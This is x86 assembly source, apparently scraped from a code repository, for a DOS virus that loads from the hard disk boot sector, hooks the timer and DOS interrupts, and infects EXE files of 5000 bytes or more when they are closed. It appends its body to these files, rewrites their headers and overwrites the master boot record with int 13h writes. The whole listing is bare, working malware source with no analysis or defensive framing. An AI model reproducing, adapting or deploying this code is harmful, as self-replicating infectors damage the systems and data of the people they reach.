2022-08-21 09:07:57 +00:00
|
|
|
|
|
|
|
|
|
cut equ offset len-300h
|
|
|
|
|
virsize equ offset len-100h
|
|
|
|
|
memsize equ (virsize+20h)/16+1
|
|
|
|
|
|
|
|
|
|
xor di,di
|
|
|
|
|
mov ds,di
|
|
|
|
|
mov ss,di
|
|
|
|
|
mov sp,7BF0h
|
|
|
|
|
mov si,7C00h
|
|
|
|
|
push si
|
|
|
|
|
mov ax,3000h
|
|
|
|
|
mov es,ax
|
|
|
|
|
mov cx,201h
|
|
|
|
|
push cx
|
|
|
|
|
push cx
|
|
|
|
|
rep movsw
|
|
|
|
|
pop ax
|
|
|
|
|
push cx
|
|
|
|
|
mov cl,8
|
|
|
|
|
mov bx,cut
|
|
|
|
|
mov dx,80h
|
|
|
|
|
int 13h
|
|
|
|
|
mov [1Ch*4],offset timer-100h
|
|
|
|
|
mov [1Ch*4+2],3000h
|
|
|
|
|
pop es
|
|
|
|
|
inc cx
|
|
|
|
|
pop ax
|
|
|
|
|
pop bx
|
|
|
|
|
db 0EAh
|
|
|
|
|
dw offset jump-100h
|
|
|
|
|
dw 3000h
|
|
|
|
|
|
|
|
|
|
jump db 0CDh,013h,0EAh,00,07Ch,00,00
|
|
|
|
|
|
|
|
|
|
timer: push ax
|
|
|
|
|
push ds
|
|
|
|
|
xor ax,ax
|
|
|
|
|
mov ds,ax
|
|
|
|
|
cmp [84h],ax
|
|
|
|
|
jz tmexit
|
|
|
|
|
mov ax,[10h] ; int 04h
|
|
|
|
|
mov [70h],ax ; int 1Ch
|
|
|
|
|
mov ax,[12h]
|
|
|
|
|
mov [72h],ax
|
|
|
|
|
mov ax,[84h]
|
|
|
|
|
mov cs:old-100h,ax
|
|
|
|
|
mov ax,[86h]
|
|
|
|
|
mov cs:old+2-100h,ax
|
|
|
|
|
mov [84h],offset int21-100h
|
|
|
|
|
mov [86h],cs
|
|
|
|
|
mov ax,[2Fh*4]
|
|
|
|
|
mov cs:int2F-100h,ax
|
|
|
|
|
mov ax,[2Fh*4+2]
|
|
|
|
|
mov cs:int2F+2-100h,ax
|
|
|
|
|
tmexit: pop ds
|
|
|
|
|
pop ax
|
|
|
|
|
iret
|
|
|
|
|
|
|
|
|
|
int21: cmp ax,4B00h
|
|
|
|
|
jne exit21
|
|
|
|
|
push ax
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
push dx
|
|
|
|
|
push ds
|
|
|
|
|
push es
|
|
|
|
|
push si
|
|
|
|
|
push di
|
|
|
|
|
mov ah,52h
|
|
|
|
|
int 21h
|
|
|
|
|
xor si,si
|
|
|
|
|
xor di,di
|
|
|
|
|
mov ds,es:[bx-2]
|
|
|
|
|
mov bx,ds
|
|
|
|
|
mov ax,[di+3]
|
|
|
|
|
add [di+3],memsize
|
|
|
|
|
inc bx
|
|
|
|
|
add ax,bx
|
|
|
|
|
mov es,ax
|
|
|
|
|
push ax
|
|
|
|
|
mov ax,es:[di+3]
|
|
|
|
|
sub ax,memsize
|
|
|
|
|
push ax
|
|
|
|
|
mov ax,[di+3]
|
|
|
|
|
add ax,bx
|
|
|
|
|
mov ds,ax
|
|
|
|
|
mov byte ptr [di],5Ah
|
|
|
|
|
mov word ptr [di+1],di
|
|
|
|
|
pop [di+3]
|
|
|
|
|
pop es
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
mov cx,virsize/2+1
|
|
|
|
|
rep movsw
|
|
|
|
|
mov ds,cx
|
|
|
|
|
mov [84h],offset res21-100h
|
|
|
|
|
mov [86h],es
|
|
|
|
|
back: pop di
|
|
|
|
|
pop si
|
|
|
|
|
pop es
|
|
|
|
|
pop ds
|
|
|
|
|
pop dx
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
pop ax
|
|
|
|
|
exit21: db 0EAh
|
|
|
|
|
old dw ?
|
|
|
|
|
dw ?
|
|
|
|
|
|
|
|
|
|
res21: push ax
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
push dx
|
|
|
|
|
push ds
|
|
|
|
|
push es
|
|
|
|
|
push si
|
|
|
|
|
push di
|
|
|
|
|
cmp ah,3Eh
|
|
|
|
|
je close
|
|
|
|
|
cmp ah,3Dh
|
|
|
|
|
jne back
|
|
|
|
|
|
|
|
|
|
open: call driver
|
|
|
|
|
xchg ax,bx
|
|
|
|
|
jc out
|
|
|
|
|
call chexe
|
|
|
|
|
jne out
|
|
|
|
|
mov cs:len-100h,cx
|
|
|
|
|
out: mov ah,3Eh
|
|
|
|
|
call driver
|
|
|
|
|
jmp back
|
|
|
|
|
|
|
|
|
|
close: call chexe
|
|
|
|
|
jne back
|
|
|
|
|
cmp cx,cs:len-100h
|
|
|
|
|
je back
|
|
|
|
|
cmp cx,5000
|
|
|
|
|
jb back
|
|
|
|
|
push cx
|
|
|
|
|
push dx
|
|
|
|
|
push cs
|
|
|
|
|
pop es
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
mov ah,3Fh
|
|
|
|
|
mov dx,offset buf-100h
|
|
|
|
|
mov cx,20h
|
|
|
|
|
call driver
|
|
|
|
|
mov si,offset buf+0Eh-100h
|
|
|
|
|
mov di,offset save-100h
|
|
|
|
|
movsw
|
|
|
|
|
movsw
|
|
|
|
|
lodsw
|
|
|
|
|
movsw
|
|
|
|
|
movsw
|
|
|
|
|
pop dx
|
|
|
|
|
pop ax
|
|
|
|
|
mov cl,16
|
|
|
|
|
div cx
|
|
|
|
|
inc ax
|
|
|
|
|
push ax
|
|
|
|
|
push ax
|
|
|
|
|
mul cx
|
|
|
|
|
mov cx,ax
|
|
|
|
|
xchg cx,dx
|
|
|
|
|
mov ax,4200h
|
|
|
|
|
call driver
|
|
|
|
|
pop ax
|
|
|
|
|
sub ax,[si-10h]
|
|
|
|
|
mov [si-2],ax
|
|
|
|
|
mov [si-0Ah],ax
|
|
|
|
|
mov [si-8],500h
|
|
|
|
|
mov [si-4],offset go-100h
|
|
|
|
|
pop ax
|
|
|
|
|
xor dx,dx
|
|
|
|
|
mov cx,20h
|
|
|
|
|
push cx
|
|
|
|
|
div cx
|
|
|
|
|
inc ax
|
|
|
|
|
inc ax
|
|
|
|
|
mov [si-14h],ax
|
|
|
|
|
mov [si-16h],dx
|
|
|
|
|
mov ah,40h
|
|
|
|
|
mov cx,virsize
|
|
|
|
|
xor dx,dx
|
|
|
|
|
call driver
|
|
|
|
|
call chexe
|
|
|
|
|
mov ah,40h
|
|
|
|
|
pop cx
|
|
|
|
|
mov dx,offset buf-100h
|
|
|
|
|
call driver
|
|
|
|
|
jmp back
|
|
|
|
|
|
|
|
|
|
go: mov bx,es
|
|
|
|
|
add bx,10h
|
|
|
|
|
add cs:save+6-100h,bx
|
|
|
|
|
add bx,cs:save-100h
|
|
|
|
|
push bx
|
|
|
|
|
push ds
|
|
|
|
|
push es
|
|
|
|
|
|
|
|
|
|
call cell
|
|
|
|
|
test si,si
|
|
|
|
|
je exec
|
|
|
|
|
cmp word ptr [si+2],0A000h
|
|
|
|
|
jb exec
|
|
|
|
|
mov ah,2
|
|
|
|
|
push cs
|
|
|
|
|
pop es
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
mov bx,offset buf-100h
|
|
|
|
|
mov cl,1
|
|
|
|
|
call doit
|
|
|
|
|
xor si,si
|
|
|
|
|
mov di,bx
|
|
|
|
|
mov cl,cut/2
|
|
|
|
|
rep cmpsw
|
|
|
|
|
je exec
|
|
|
|
|
inc count-100h
|
|
|
|
|
mov ah,3
|
|
|
|
|
mov cl,9
|
|
|
|
|
call doit
|
|
|
|
|
xor si,si
|
|
|
|
|
mov di,bx
|
|
|
|
|
mov cl,cut/2+1
|
|
|
|
|
rep movsw
|
|
|
|
|
mov ah,3
|
|
|
|
|
inc cx
|
|
|
|
|
call doit
|
|
|
|
|
mov bx,cut
|
|
|
|
|
mov cl,8
|
|
|
|
|
mov ah,3
|
|
|
|
|
call doit
|
|
|
|
|
|
|
|
|
|
exec: pop es
|
|
|
|
|
pop ds
|
|
|
|
|
pop ss
|
|
|
|
|
mov sp,cs:save+2-100h
|
|
|
|
|
jmp dword ptr cs:save+4-100h
|
|
|
|
|
|
|
|
|
|
chexe: push bx
|
|
|
|
|
mov ax,1220h
|
|
|
|
|
call dosint
|
|
|
|
|
mov bl,es:[di]
|
|
|
|
|
mov ax,1216h
|
|
|
|
|
call dosint
|
|
|
|
|
pop bx
|
|
|
|
|
add di,15h
|
|
|
|
|
xor ax,ax
|
|
|
|
|
stosw
|
|
|
|
|
stosw
|
|
|
|
|
mov cx,es:[di-8]
|
|
|
|
|
mov dx,es:[di-6]
|
|
|
|
|
add di,0Fh
|
|
|
|
|
mov ax,'XE'
|
|
|
|
|
scasw
|
|
|
|
|
jne notexe
|
|
|
|
|
scasb
|
|
|
|
|
clc
|
|
|
|
|
notexe: ret
|
|
|
|
|
|
|
|
|
|
cell: push ax
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
mov ah,30h
|
|
|
|
|
int 21h
|
|
|
|
|
xor si,si
|
|
|
|
|
xchg ah,al
|
|
|
|
|
cmp ax,401h
|
|
|
|
|
ja newdos
|
|
|
|
|
cmp ax,314h
|
|
|
|
|
jb newdos
|
|
|
|
|
cmp ax,31Eh
|
|
|
|
|
mov si,7B4h
|
|
|
|
|
jae newdos
|
|
|
|
|
mov si,10A5h
|
|
|
|
|
cmp al,10
|
|
|
|
|
je newdos
|
|
|
|
|
mov si,1EC9h
|
|
|
|
|
newdos: mov ds,cx
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
pop ax
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
driver: pushf
|
|
|
|
|
call dword ptr cs:old-100h
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
doit: push ds
|
|
|
|
|
call cell
|
|
|
|
|
mov ch,0
|
|
|
|
|
mov al,1
|
|
|
|
|
mov dx,80h
|
|
|
|
|
pushf
|
|
|
|
|
call dword ptr [si]
|
|
|
|
|
pop ds
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
dosint: pushf
|
|
|
|
|
db 9Ah
|
|
|
|
|
int2F dw ?
|
|
|
|
|
dw ?
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
count dw 0
|
|
|
|
|
save dw 4 dup (?)
|
|
|
|
|
len label word
|
|
|
|
|
buf label word
|
2021-01-12 23:34:47 +00:00
|
|
|
|
|